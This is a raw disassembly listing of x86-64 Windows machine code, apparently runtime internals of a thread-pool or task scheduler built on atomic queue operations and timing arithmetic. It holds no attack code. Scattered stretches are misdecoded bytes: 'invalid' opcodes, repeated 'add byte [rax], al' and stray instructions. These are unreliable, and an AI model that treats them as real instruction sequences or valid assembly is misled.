movups xmmword [rax + 0xf8], xmm0
add byte [rax], al
mov qword [rax + 0x108], 0
or byte [rcx], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov rdx, rdi
add rsp, 0x58
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
ud2
ud2
mov ecx, 8
mov edx, 0x40
call fcn.1400a42a0
ud2
mov ecx, 8
mov edx, 0x18
call fcn.1400a42a0
add byte [rdi], cl
invalid
add al, ch
imul esi, dword [rcx + 0xb0f0000], 0xffffffb9
add byte [rdi], cl
or edi, dword [rcx + 8]
add byte [rdi], cl
or edi, dword [rcx + 8]
mov ecx, 8
mov edx, 0x110
call fcn.1400a42a0
ud2
int3
movaps xmmword [rsp + 0x1e0], xmm12
movapd xmmword [rsp + 0x1d0], xmm11
movapd xmmword [rsp + 0x1c0], xmm10
movapd xmmword [rsp + 0x1b0], xmm9
add byte [rsi + 0x44], ah
movaps xmmword [rsp + 0x1b0], xmm1
movdqa xmmword [rsp + 0x1a0], xmm8
movapd xmmword [rsp + 0x190], xmm7
movapd xmmword [rsp + 0x180], xmm6
mov rsi, rcx
mov rax, qword [rcx]
jmp 0x1400991ca
mov rdx, rax
and rdx, 0xfffffffffffffffa
or rdx, 1
mov ecx, eax
shr ecx, 5
and ecx, 1
lock cmpxchg qword [rsi], rdx
je 0x1400991f8
invalid
test al, 4
test al, 4
je 0x14009af0b
add byte [rax], al
test al, 3
je 0x1400991b0
cmp rax, 0x3f
jbe 0x14009af25
lea rdx, [rax - 0x40]
cmp rdx, 0x40
cmp edx, 0x40
mov ecx, 0
adc rcx, 2
lock cmpxchg qword [rsi], rdx
jne 0x1400991ca
lea rax, [0x1400e8294]
movsxd rcx, dword [rax + rcx*4]
add rcx, rax
jmp rcx
cmp dword [rsi + 0x28], 2
jne 0x14009afdd
mov rdi, qword [rsi + 0x20]
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0x158]
cmp eax, 1
je 0x14009926a
test eax, eax
jne 0x1400993c4
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0x108]
add dword [rax], eax
add byte [rax - 0x73], cl
adc eax, 0xffff9b82
wait
invalid
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
adc eax, 0xffff9b82
wait
invalid
invalid
wait
invalid
call fcn.140075840
mov byte [rbx + 0x158], 1
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x128]
mov qword [rsp + 0xe0], rcx
mov rcx, qword [rax + 0x130]
mov qword [rsp + 0x138], rcx
mov qword [rax + 0x128], 1
mov qword [rax + 0x130], rdi
xor byte [rcx], al
add byte [rax], al
invalid
xor byte [rcx], al
add byte [rax], al
invalid
add byte [rax - 0x75], cl
xor byte [rax - 0x39], r9b
xor byte [rax], r8b
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
sbb rax, 0xd8b0000
cld
outsd dx, dword [rsi]
add eax, 0x8b486500
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
mov rax, qword [rsi + 0x30]
mov qword [rsi + 0x30], 0
test rax, rax
je 0x14009b010
mov ecx, dword [0x1400f02c4]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov byte [rcx + 0x154], 0
jmp 0x1400993e3
lea rdi, [rsi + 0x20]
jle 0x140099305
mov qword [rsp + 0x40], 4
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.14009b660
mov rax, qword [rsi + 0x20]
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], 0
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x48
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x58], rax
jmp 0x14009adcd
movaps xmm6, xmmword [rsp + 0x180]
movaps xmm7, xmmword [rsp + 0x190]
movaps xmm8, xmmword [rsp + 0x1a0]
movaps xmm9, xmmword [rsp + 0x1b0]
movaps xmm10, xmmword [rsp + 0x1c0]
movaps xmm11, xmmword [rsp + 0x1d0]
movaps xmm12, xmmword [rsp + 0x1e0]
add rsp, 0x1f8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, rsi
movaps xmm6, xmmword [rsp + 0x180]
movaps xmm7, xmmword [rsp + 0x190]
movaps xmm8, xmmword [rsp + 0x1a0]
movaps xmm9, xmmword [rsp + 0x1b0]
movaps xmm10, xmmword [rsp + 0x1c0]
movaps xmm11, xmmword [rsp + 0x1d0]
movaps xmm12, xmmword [rsp + 0x1e0]
add rsp, 0x1f8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp 0x14009b5b0
mov rax, qword [rsi + 0x30]
mov qword [rsi + 0x30], 0
test rax, rax
je 0x14009b010
xor ecx, ecx
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xd0], rax
xor r12d, r12d
xchg qword [rax + 0x20], r12
test r12, r12
je 0x1400994ed
mov r14, qword [rsp + 0xd0]
mov r15, qword [r14 + 0x10]
lock inc qword [r15]
jle 0x14009afd9
mov qword [rsp + 0xf0], r15
mov qword [rsp + 0xe8], 1
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x158]
cmp eax, 1
je 0x140099479
test eax, eax
jne 0x14009b129
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0x108]
lea rdx, [0x140092de0]
call fcn.140075840
mov byte [rdi + 0x158], 1
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x156], 2
jne 0x14009b02a
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
mov byte [rdi + 0x156], 1
lea rcx, [r15 + 0x1d8]
call fcn.140097210
mov ebx, eax
mov ebp, edx
cmp dword [rdi + 0x148], 0
je 0x140099511
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov edx, dword [rax + 0x150]
mov eax, dword [rax + 0x14c]
jmp 0x140099516
mov rax, qword [rsp + 0xd0]
lock dec qword [rax]
jne 0x14009ad14
lea rcx, [rsp + 0xd0]
call fcn.1400971a0
jmp 0x14009ad14
call fcn.140092bf0
mov ecx, dword [0x1400f02c4]
mov r8, qword gs:[0x58]
mov rcx, qword [r8 + rcx*8]
mov dword [rcx + 0x148], 1
mov dword [rcx + 0x14c], ebx
mov dword [rcx + 0x150], ebp
cmp qword [rcx + 0x108], 0
jne 0x14009b05c
mov ecx, dword [0x1400f02c4]
mov r8, qword gs:[0x58]
mov rcx, qword [r8 + rcx*8]
mov qword [rcx + 0x108], 0xffffffffffffffff
lock inc qword [r15]
jle 0x14009afd9
mov ecx, dword [0x1400f02c4]
mov r8, qword gs:[0x58]
mov r9, qword [r8 + rcx*8]
mov rcx, qword [r9 + 0x110]
mov r8, qword [r9 + 0x118]
mov qword [r9 + 0x110], 1
mov qword [r9 + 0x118], r15
inc qword [r9 + 0x108]
mov r9, qword [r9 + 0x120]
cmp r9, 0xffffffffffffffff
je 0x14009b06a
inc r9
mov r10d, dword [0x1400f02c4]
mov r11, qword gs:[0x58]
mov r10, qword [r11 + r10*8]
mov qword [r10 + 0x120], r9
mov qword [rsp + 0xf8], rcx
mov qword [rsp + 0x100], r8
mov qword [rsp + 0x108], r9
mov dword [rsp + 0x110], eax
mov dword [rsp + 0x114], edx
xorpd xmm0, xmm0
movupd xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x48], r14
movupd xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 8
mov qword [rsp + 0x40], 1
lea rdi, [rsp + 0x40]
mov qword [rsp + 0x168], rdi
mov qword [rsp + 0x170], rdi
mov r15, r12
mov qword [rsp + 0x178], r12
movzx eax, byte [r10 + 0x158]
test eax, eax
je 0x140099694
cmp eax, 1
jne 0x14009b11c
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x140]
mov qword [rsp + 0xd8], rcx
mov qword [rax + 0x140], rdi
jmp 0x1400996e8
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0x108]
lea rdx, [0x140092de0]
call fcn.140075840
mov byte [rbx + 0x158], 1
mov rax, qword [rbx + 0x140]
mov qword [rbx + 0x140], rdi
cmp qword [rsp + 0x40], 0
je 0x14009b154
mov qword [rsp + 0xd8], rax
mov r14, qword [rsp + 0x48]
mov rax, qword [r14 + 0x10]
movzx eax, byte [rax + 0x5c]
xor al, 1
mov byte [r15 + 0x48], al
call fcn.14008e060
mov qword [r15 + 0x30], rax
mov dword [r15 + 0x38], edx
mov qword [r15 + 0x20], 0
cmp byte [r15 + 0x4a], 0
je 0x140099784
mov rdi, r15
mov r15, qword [rsp + 0x48]
mov r12, qword [r15 + 0x10]
mov cl, 1
xor eax, eax
lock cmpxchg byte [r12 + 0x78], cl
jne 0x14009ae32
mov byte [r12 + 0x98], 1
mov rbx, qword [r12 + 0x88]
test rbx, rbx
je 0x14009a78e
mov rax, qword [rbx + 0x10]
mov rax, qword [rax + 0x38]
mov rcx, qword [rbx + rax]
mov qword [r12 + 0x88], rcx
test rcx, rcx
je 0x14009a761
mov rax, qword [rcx + 0x10]
mov rax, qword [rax + 0x38]
mov qword [rcx + rax + 8], 0
mov rax, qword [rbx + 0x10]
mov rax, qword [rax + 0x38]
jmp 0x14009a76d
lea rdi, [rsp + 0x48]
movdqa xmm8, xmmword [0x1400a9540]
movapd xmm9, xmmword [0x1400a9550]
movsd xmm6, qword [0x1400a9910]
movsd xmm10, qword [0x1400a9918]
movsd xmm11, qword [0x1400a9920]
movsd xmm12, qword [0x1400a9928]
mov qword [rsp + 0x118], rsi
jmp 0x1400997fb
mov rcx, rdi
mov rdx, r15
xor r8d, r8d
call fcn.140097580
mov r15, rax
call fcn.14008e060
mov qword [r15 + 0x30], rax
mov dword [r15 + 0x38], edx
mov qword [r15 + 0x20], 0
nop
cmp byte [r15 + 0x4a], 0
jne 0x140099712
mov eax, dword [r15 + 0x40]
inc eax
mov dword [r15 + 0x40], eax
mov r14, qword [rsp + 0x48]
mov rcx, qword [r14 + 0x10]
mov ecx, dword [rcx + 0x58]
test ecx, ecx
je 0x14009aeab
xor edx, edx
div ecx
test edx, edx
jne 0x140099987
mov rbx, qword [r15 + 0x20]
test rbx, rbx
je 0x1400998f6
call fcn.14008e060
mov r9, qword [r15 + 0x30]
mov r8d, dword [r15 + 0x38]
mov qword [rsp + 0x98], rax
mov dword [rsp + 0xa0], edx
lea rcx, [rsp + 0x98]
mov rdx, r9
call fcn.140077890
mov ecx, edx
mov edx, 0x3b9aca00
mul rdx
cmp ecx, 0x3b9aca00
mov r8d, 0
cmove ecx, r8d
cmove rdx, r8
cmove rax, r8
add rcx, rax
adc rdx, 0
mov qword [rsp + 0x150], rcx
mov qword [rsp + 0x158], rdx
lea rcx, [rsp + 0x150]
call fcn.1400a0250
movapd xmm7, xmm0
movq xmm0, rbx
punpckldq xmm0, xmm8
subpd xmm0, xmm9
movapd xmm1, xmm0
unpckhpd xmm1, xmm0
addsd xmm1, xmm0
divsd xmm7, xmm1
movapd xmm0, xmm6
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movapd xmm1, xmm10
subsd xmm1, xmm0
mulsd xmm7, xmm1
movapd xmm0, xmm10
subsd xmm0, xmm1
mulsd xmm0, qword [r15 + 0x28]
addsd xmm0, xmm7
movsd qword [r15 + 0x28], xmm0
mov rcx, rdi
mov rdx, r15
xor r8d, r8d
call fcn.140097580
mov r15, rax
mov rax, qword [rsp + 0x48]
mov r12, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rdx, qword [r12 + 0xa8]
cmp rcx, rdx
jae 0x14009aed5
cmp byte [r15 + 0x4a], 0
jne 0x140099961
xor eax, eax
mov cl, 1
lock cmpxchg byte [r12 + 0xc8], cl
jne 0x140099e8a
movzx eax, byte [r12 + 0xf8]
mov byte [r15 + 0x4a], al
mov al, 1
xor ecx, ecx
lock cmpxchg byte [r12 + 0xc8], cl
jne 0x140099e9c
cmp byte [r15 + 0x4b], 0
jne 0x14009996d
mov byte [r15 + 0x4b], 0
call fcn.14008e060
mov qword [r15 + 0x30], rax
mov dword [r15 + 0x38], edx
mov qword [r15 + 0x20], 0
mov r14, qword [rsp + 0x48]
mov ecx, dword [r15 + 0x44]
test ecx, ecx
je 0x14009aebb
mov eax, dword [r15 + 0x40]
xor edx, edx
div ecx
test edx, edx
je 0x140099a50
mov rbp, qword [r15]
mov qword [r15], 0
test rbp, rbp
jne 0x140099e40
mov rax, qword [r15 + 0x18]
mov rax, qword [rax + 0x18]
mov r8, rax
shr r8, 0x20
mov dword [rsp + 0x30], r8d
mov rdx, qword [r15 + 0x18]
cmp dword [rdx + 0x20], eax
je 0x140099c13
mov rcx, rax
nop word [rax + rax]
lea r9d, [rax + 1]
mov dword [rsp + 0x80], r9d
cmp r8d, eax
jne 0x140099a00
mov eax, r9d
mov r8, rax
shl r8, 0x20
jmp 0x140099a1c
cmp r9d, r8d
je 0x14009af9d
mov eax, r9d
mov r8, rcx
movabs r9, 0xffffffff00000000
and r8, r9
or r8, rax
mov rax, rcx
lock cmpxchg qword [rdx + 0x18], r8
je 0x140099bfb
mov r8, rax
shr r8, 0x20
mov dword [rsp + 0x30], r8d
mov rdx, qword [r15 + 0x18]
mov rcx, rax
cmp dword [rdx + 0x20], eax
jne 0x1400999e0
jmp 0x140099c13
mov r12, qword [r14 + 0x10]
cmp dword [r12 + 0x10], 0
je 0x140099a63
mov eax, dword [r12 + 0x14]
jmp 0x140099a9a
movapd xmm0, xmm11
divsd xmm0, qword [r15 + 0x28]
xorpd xmm1, xmm1
maxsd xmm1, xmm0
movapd xmm0, xmm12
minsd xmm0, xmm1
cvttsd2si rax, xmm0
cmp eax, 0x7f
mov edx, 0x7f
cmovae eax, edx
cmp eax, 3
mov edx, 2
cmovb eax, edx
mov edx, eax
sub edx, ecx
neg edx
mov r8d, eax
sub r8d, ecx
cmovb r8d, edx
cmp r8d, 3
jb 0x140099ab4
mov dword [r15 + 0x44], eax
mov rax, qword [r12 + 0xb0]
test rax, rax
je 0x140099b4f
xor eax, eax
mov cl, 1
lock cmpxchg byte [r12 + 0xc8], cl
jne 0x140099e5f
mov rax, qword [r12 + 0xb0]
xor ecx, ecx
test rax, rax
setne cl
mov rdx, rax
sub rdx, rcx
mov qword [r12 + 0xb0], rdx
test rax, rax
je 0x140099b30
mov rbp, qword [r12 + 0xe8]
test rbp, rbp
je 0x140099b30
mov rax, qword [rbp + 8]
mov qword [r12 + 0xe8], rax
test rax, rax
jne 0x140099b26
mov qword [r12 + 0xf0], 0
mov qword [rbp + 8], 0
jmp 0x140099b32
xor ebp, ebp
mov al, 1
xor ecx, ecx
lock cmpxchg byte [r12 + 0xc8], cl
jne 0x140099e71
test rbp, rbp
jne 0x140099e40
mov rbp, qword [r15]
mov qword [r15], 0
test rbp, rbp
jne 0x140099e40
mov rax, qword [r15 + 0x18]
mov rax, qword [rax + 0x18]
mov r8, rax
shr r8, 0x20
mov dword [rsp + 0x30], r8d
mov rdx, qword [r15 + 0x18]
cmp dword [rdx + 0x20], eax
je 0x140099ee4
mov rcx, rax
nop word cs:[rax + rax]
lea r9d, [rax + 1]
mov dword [rsp + 0x80], r9d
cmp r8d, eax
jne 0x140099bb0
mov eax, r9d
mov r8, rax
shl r8, 0x20
jmp 0x140099bcc
cmp r9d, r8d
je 0x14009af9d
mov eax, r9d
mov r8, rcx
movabs r9, 0xffffffff00000000
and r8, r9
or r8, rax
mov rax, rcx
lock cmpxchg qword [rdx + 0x18], r8
je 0x140099e02
mov r8, rax
shr r8, 0x20
mov dword [rsp + 0x30], r8d
mov rdx, qword [r15 + 0x18]
mov rcx, rax
cmp dword [rdx + 0x20], eax
jne 0x140099b90
jmp 0x140099ee4
mov rax, qword [r15 + 0x18]
movzx ecx, cl
mov rax, qword [rax + 0x10]
mov rbp, qword [rax + rcx*8]
test rbp, rbp
jne 0x140099e40
mov rax, qword [r14 + 0x10]
mov rax, qword [rax + 0xb0]
test rax, rax
je 0x140099ee4
mov rax, qword [r15 + 0x18]
mov r8, qword [rax + 0x18]
mov ecx, dword [rax + 0x20]
mov rax, qword [r14 + 0x10]
mov rax, qword [rax + 0xb0]
mov r13, qword [r14 + 0x10]
mov r9, qword [r13 + 0x68]
test r9, r9
je 0x14009aef1
mov rdx, rax
or rdx, r9
shr rdx, 0x20
je 0x140099c64
xor edx, edx
div r9
mov r12, rax
jmp 0x140099c6c
xor edx, edx
div r9d
mov r12d, eax
shr r8, 0x20
sub ecx, r8d
mov eax, pe_nt_image_headers64
sub rax, rcx
inc r12
cmp rax, r12
cmovb r12, rax
cmp r12, 0x80
mov eax, 0x80
cmovae r12, rax
cmp r12, 1
adc r12, 0
xor eax, eax
mov cl, 1
lock cmpxchg byte [r13 + 0xc8], cl
jne 0x140099ebb
mov rax, qword [r14 + 0x10]
mov rcx, qword [rax + 0xb0]
cmp r12, rcx
cmovae r12, rcx
sub rcx, r12
mov qword [rax + 0xb0], rcx
test r12, r12
je 0x140099d89
mov rbp, qword [r13 + 0xe8]
test rbp, rbp
je 0x140099d04
mov rax, qword [rbp + 8]
mov qword [r13 + 0xe8], rax
test rax, rax
jne 0x140099cfc
mov qword [r13 + 0xf0], 0
mov qword [rbp + 8], 0
dec r12
je 0x140099e23
mov rax, qword [r15 + 0x18]
mov rcx, qword [rax + 0x18]
shr rcx, 0x20
mov r14d, dword [rax + 0x20]
mov eax, r14d
sub eax, ecx
mov ecx, pe_nt_image_headers64
sub ecx, r12d
cmp eax, ecx
ja 0x14009b1a1
mov rcx, qword [r13 + 0xe8]
mov rax, qword [r15 + 0x18]
jmp 0x140099d67
mov qword [rcx + 8], 0
lea r8d, [r14 + 1]
movzx r9d, r14b
mov r10, qword [rax + 0x10]
mov qword [r10 + r9*8], rcx
mov r14d, r8d
mov rcx, rdx
dec r12
je 0x140099dfd
test rcx, rcx
je 0x140099d90
mov rdx, qword [rcx + 8]
mov qword [r13 + 0xe8], rdx
test rdx, rdx
jne 0x140099d40
mov qword [r13 + 0xf0], 0
jmp 0x140099d40
xor ebp, ebp
jmp 0x140099e23
dec r12
jne 0x140099da5
jmp 0x140099e1f
dec r12
je 0x140099e1b
mov rcx, qword [r13 + 0xe8]
test rcx, rcx
je 0x140099e1b
mov rax, qword [rcx + 8]
mov qword [r13 + 0xe8], rax
test rax, rax
jne 0x140099dcc
mov qword [r13 + 0xf0], 0
mov qword [rcx + 8], 0
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x14009af6e
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x140099da0
mov rax, qword [rcx + 0x10]
call qword [rax + 0x10]
jmp 0x140099da0
mov r14d, r8d
jmp 0x140099e1f
mov rax, qword [r15 + 0x18]
movzx ecx, cl
mov rax, qword [rax + 0x10]
mov rbp, qword [rax + rcx*8]
test rbp, rbp
jne 0x140099e40
jmp 0x140099ee4
mov rax, qword [r15 + 0x18]
mov dword [rax + 0x20], r14d
mov al, 1
xor ecx, ecx
lock cmpxchg byte [r13 + 0xc8], cl
jne 0x140099ecc
test rbp, rbp
je 0x140099ee4
nop
mov rcx, rdi
mov rdx, rbp
mov r8, r15
call fcn.140097a30
mov r15, rax
test rax, rax
jne 0x1400997f0
jmp 0x14009abe4
lea rcx, [r12 + 0xc8]
call fcn.1400a5fa0
jmp 0x140099ad9
add r12, 0xc8
mov rcx, r12
call fcn.1400a5c60
test rbp, rbp
jne 0x140099e40
jmp 0x140099b4f
lea rcx, [r12 + 0xc8]
call fcn.1400a5fa0
jmp 0x140099940
add r12, 0xc8
mov rcx, r12
call fcn.1400a5c60
cmp byte [r15 + 0x4b], 0
jne 0x14009996d
jmp 0x140099968
lea rcx, [r13 + 0xc8]
call fcn.1400a5fa0
jmp 0x140099cb0
add r13, 0xc8
mov rcx, r13
call fcn.1400a5c60
test rbp, rbp
jne 0x140099e40
mov rbx, qword [r15 + 0x20]
test rbx, rbx
je 0x140099fb5
call fcn.14008e060
mov r9, qword [r15 + 0x30]
mov r8d, dword [r15 + 0x38]
mov qword [rsp + 0x98], rax
mov dword [rsp + 0xa0], edx
lea rcx, [rsp + 0x98]
mov rdx, r9
call fcn.140077890
mov ecx, edx
mov edx, 0x3b9aca00
mul rdx
cmp ecx, 0x3b9aca00
mov r8d, 0
cmove ecx, r8d
cmove rdx, r8
cmove rax, r8
add rcx, rax
adc rdx, 0
mov qword [rsp + 0x140], rcx
mov qword [rsp + 0x148], rdx
lea rcx, [rsp + 0x140]
call fcn.1400a0250
movapd xmm7, xmm0
movq xmm0, rbx
punpckldq xmm0, xmm8
subpd xmm0, xmm9
movapd xmm1, xmm0
unpckhpd xmm1, xmm0
addsd xmm1, xmm0
divsd xmm7, xmm1
movapd xmm0, xmm6
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movapd xmm1, xmm10
subsd xmm1, xmm0
mulsd xmm7, xmm1
movapd xmm0, xmm10
subsd xmm0, xmm1
mulsd xmm0, qword [r15 + 0x28]
addsd xmm0, xmm7
movsd qword [r15 + 0x28], xmm0
mov r8, qword [rsp + 0x48]
cmp byte [r15 + 0x49], 0
jne 0x140099feb
mov rax, qword [r8 + 0x10]
mov rcx, qword [rax + 0xb8]
movzx ecx, cx
add ecx, ecx
cmp rcx, qword [rax + 0xc0]
jae 0x14009a30f
lock inc qword [rax + 0xb8]
mov byte [r15 + 0x49], 1
mov r12, qword [r8 + 0x10]
mov r9, qword [r12 + 0x68]
mov edx, dword [r15 + 0x10]
mov ecx, dword [r15 + 0x14]
mov eax, edx
shl eax, 0x11
xor eax, edx
mov edx, ecx
shr edx, 0x10
xor edx, ecx
xor edx, eax
shr eax, 7
xor eax, edx
mov dword [r15 + 0x10], ecx
mov dword [r15 + 0x14], eax
test r9, r9
je 0x14009a257
add eax, ecx
mov ebx, r9d
imul rbx, rax
shr rbx, 0x20
xor r11d, r11d
mov qword [rsp + 0x130], r15
mov qword [rsp + 0x120], r8
mov qword [rsp + 0x128], rbx
jmp 0x14009a06c
mov eax, dword [rsp + 0x3c]
test eax, eax
mov r8, qword [rsp + 0x120]
jne 0x14009a425
inc r11
cmp r11, r9
je 0x14009a253
lea rax, [r11 + rbx]
mov rcx, rax
or rcx, r9
shr rcx, 0x20
je 0x14009a090
xor edx, edx
div r9
cmp rdx, qword [r8 + 0x18]
je 0x14009a060
jmp 0x14009a09b
xor edx, edx
div r9d
cmp rdx, qword [r8 + 0x18]
je 0x14009a060
mov rcx, qword [r8 + 0x10]
mov rax, qword [rcx + 0x68]
cmp rdx, rax
jae 0x14009ae97
mov rax, qword [rcx + 0x60]
mov rcx, qword [r15 + 0x18]
mov r14d, dword [rcx + 0x20]
mov rcx, qword [rcx + 0x18]
shr rcx, 0x20
mov r10d, r14d
sub r10d, ecx
cmp r10d, 0x80
ja 0x14009a060
shl rdx, 4
mov rdx, qword [rax + rdx]
mov rax, qword [rdx + 0x18]
nop dword [rax + rax]
mov r12, rax
shr r12, 0x20
mov r13d, dword [rdx + 0x20]
cmp r12d, eax
jne 0x14009a060
sub r13d, r12d
mov ecx, r13d
shr ecx, 1
sub r13d, ecx
je 0x14009a060
lea ebp, [r12 + r13]
mov rcx, r12
shl rcx, 0x20
or rcx, rbp
lock cmpxchg qword [rdx + 0x18], rcx
jne 0x14009a0e0
mov qword [rsp + 0xc8], r14
mov dword [rsp + 0x3c], r13d
cmp r13d, 0x80
ja 0x14009b0b4
mov rax, qword [r15 + 0x18]
xor ebx, ebx
cmp r13d, 2
mov r8d, 1
cmovb r13d, r8d
jb 0x14009a1a8
mov r15d, r13d
and r15d, 0xfffffffe
xor ebx, ebx
mov r10d, r12d
mov r14, qword [rsp + 0xc8]
nop
movzx esi, r14b
mov rdi, qword [rdx + 0x10]
movzx r8d, r10b
mov r8, qword [rdi + r8*8]
mov rdi, qword [rax + 0x10]
mov qword [rdi + rsi*8], r8
add ebx, 2
lea r8d, [r14 + 1]
movzx r8d, r8b
mov rsi, qword [rdx + 0x10]
lea edi, [r10 + 1]
movzx edi, dil
mov rsi, qword [rsi + rdi*8]
mov rdi, qword [rax + 0x10]
mov qword [rdi + r8*8], rsi
add r14d, 2
add r10d, 2
cmp r15d, ebx
jne 0x14009a160
test r13b, 1
je 0x14009a1d5
mov r8, qword [rsp + 0xc8]
lea r10d, [rbx + r8]
movzx r10d, r10b
mov r14, qword [rdx + 0x10]
add r12d, ebx
movzx ebx, r12b
mov rbx, qword [r14 + rbx*8]
mov rax, qword [rax + 0x10]
mov qword [rax + r10*8], rbx
mov r10, rbp
shl r10, 0x20
or r10, rbp
mov rax, rcx
lock cmpxchg qword [rdx + 0x18], r10
mov rsi, qword [rsp + 0x118]
mov r15, qword [rsp + 0x130]
lea rdi, [rsp + 0x48]
mov rbx, qword [rsp + 0x128]
mov r10, qword [rsp + 0xc8]
je 0x14009a04c
nop word cs:[rax + rax]
mov rcx, rax
shr rcx, 0x20
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x80], eax
cmp ecx, eax
je 0x14009af88
mov ecx, eax
mov r8, rax
shl r8, 0x20
or r8, rcx
lock cmpxchg qword [rdx + 0x18], r8
jne 0x14009a220
jmp 0x14009a04c
mov r12, qword [r8 + 0x10]
mov rax, qword [r12 + 0xb0]
test rax, rax
je 0x14009a314
xor eax, eax
mov cl, 1
lock cmpxchg byte [r12 + 0xc8], cl
jne 0x14009a3f6
mov rax, qword [r12 + 0xb0]
xor ecx, ecx
test rax, rax
setne cl
mov rdx, rax
sub rdx, rcx
mov qword [r12 + 0xb0], rdx
test rax, rax
je 0x14009a2d3
mov r13, qword [r12 + 0xe8]
test r13, r13
je 0x14009a2d3
mov rax, qword [r13 + 8]
mov qword [r12 + 0xe8], rax
test rax, rax
jne 0x14009a2c9
mov qword [r12 + 0xf0], 0
mov qword [r13 + 8], 0
jmp 0x14009a2d6
xor r13d, r13d
mov al, 1
xor ecx, ecx
lock cmpxchg byte [r12 + 0xc8], cl
jne 0x14009a408
test r13, r13
je 0x14009a314
call fcn.14008e060
mov qword [r15 + 0x30], rax
mov dword [r15 + 0x38], edx
mov qword [r15 + 0x20], 0
mov rcx, rdi
mov rdx, r13
jmp 0x140099e46
mov byte [r15 + 0x49], 0
movabs rax, 0x7fffffffffffffff
cmp qword [rsp + 0x60], rax
jae 0x14009b0a6
cmp qword [rsp + 0x78], 0
jne 0x1400997c8
mov r14, qword [rsp + 0x48]
mov rcx, qword [r14 + 0x10]
mov rax, qword [rcx + 0x20]
test rax, rax
je 0x14009a365
mov rdx, qword [rcx + 0x28]
mov rcx, qword [rdx + 0x10]
dec rcx
and rcx, 0xfffffffffffffff0
add rcx, rax
add rcx, 0x10
call qword [rdx + 0x28]
mov r14, qword [rsp + 0x48]
cmp qword [r15], 0
je 0x14009a39f
mov rax, qword [rsp + 0x48]
mov rcx, qword [rax + 0x10]
mov rax, qword [rcx + 0x30]
test rax, rax
je 0x1400997d9
mov rdx, qword [rcx + 0x38]
mov rcx, qword [rdx + 0x10]
dec rcx
and rcx, 0xfffffffffffffff0
add rcx, rax
add rcx, 0x10
call qword [rdx + 0x28]
jmp 0x1400997d9
mov rax, qword [r15 + 0x18]
mov rcx, qword [rax + 0x18]
mov eax, dword [rax + 0x20]
cmp eax, ecx
jne 0x14009a36b
cmp byte [r15 + 0x4b], 0
jne 0x14009a36b
mov r12, qword [r14 + 0x10]
mov rbx, qword [r14 + 0x18]
movzx edi, byte [r15 + 0x49]
xor eax, eax
mov cl, 1
lock cmpxchg byte [r12 + 0xc8], cl
jne 0x14009a44c
test dil, dil
je 0x14009a462
mov rax, 0xfffffffffffeffff
lock xadd qword [r12 + 0xb8], rax
cmp ax, 1
sete bpl
jmp 0x14009a471
lea rcx, [r12 + 0xc8]
call fcn.1400a5fa0
jmp 0x14009a27c
add r12, 0xc8
mov rcx, r12
call fcn.1400a5c60
test r13, r13
jne 0x14009a2ef
jmp 0x14009a314
mov edx, eax
add eax, r10d
dec eax
mov rcx, qword [r15 + 0x18]
movzx r8d, al
mov r9, qword [rcx + 0x10]
mov r13, qword [r9 + r8*8]
dec edx
je 0x14009a2ef
mov dword [rcx + 0x20], eax
jmp 0x14009a2ef
lea rcx, [r12 + 0xc8]
call fcn.1400a5fa0
test dil, dil
jne 0x14009a3db
lock sub qword [r12 + 0xb8], 0x10000
xor ebp, ebp
lea rdi, [rsp + 0x48]
mov rdx, qword [r12 + 0xe0]
cmp rdx, qword [r12 + 0xd8]
jne 0x14009a49d
lea rcx, [r12 + 0xd0]
call fcn.140094fb0
mov rdx, qword [r12 + 0xe0]
mov rax, qword [r12 + 0xd0]
mov qword [rax + rdx*8], rbx
inc rdx
mov qword [r12 + 0xe0], rdx
mov al, 1
xor ecx, ecx
lock cmpxchg byte [r12 + 0xc8], cl
jne 0x14009a72a
mov byte [r15 + 0x49], 0
test bpl, bpl
je 0x14009a516
mov rax, qword [r14 + 0x10]
